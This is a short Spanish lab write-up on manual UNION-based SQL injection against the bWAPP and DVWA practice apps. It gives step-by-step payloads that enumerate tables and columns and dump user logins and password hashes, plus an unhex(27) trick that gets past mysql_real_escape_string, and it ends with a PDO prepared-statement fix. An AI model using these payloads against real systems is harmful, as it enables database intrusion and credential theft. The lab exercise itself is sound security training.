Práctica de explotación manual de SQL Injection mediante sentencias UNION en bWAPP y DVWA, incluyendo bypass de contramedidas con unhex().
Accedemos a bWAPP con la IP de la máquina, usuario/contraseña por defecto, y seleccionamos SQL Injection (Search/GET).
' union select 1,2,3,4,5,6,7#
' union select 1,2,3,database(),5,6,7#
' union select 1,2,3,4,group_concat(table_name),6,7
FROM information_schema.tables
WHERE table_schema=database()#
' union select 1,2,group_concat(column_name),4,5,6,7
FROM information_schema.columns
WHERE table_name='users' AND table_schema=database()#
' union select 1,login,password,email,secret,6,7 FROM users#
Las contraseñas están en SHA1. Se pueden descifrar en: md5decrypt.net/en/Sha1/
' union select 1,2,table_schema,4,5,6,7 FROM information_schema.tables#
En el nivel de seguridad medio, DVWA aplica mysql_real_escape_string() que escapa la comilla simple. El bypass consiste en usar unhex(27) (27 = código hex de la comilla simple) para evitar su filtrado:
unhex(27) or 1=1 order by 2#
unhex(27) union select 1, table_name
FROM information_schema.tables
WHERE table_schema=database()#
unhex(27) union select user,password FROM dvwa.users#
<?php
// Ejemplo con PDO (prepared statement):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
$user = $stmt->fetch();
?>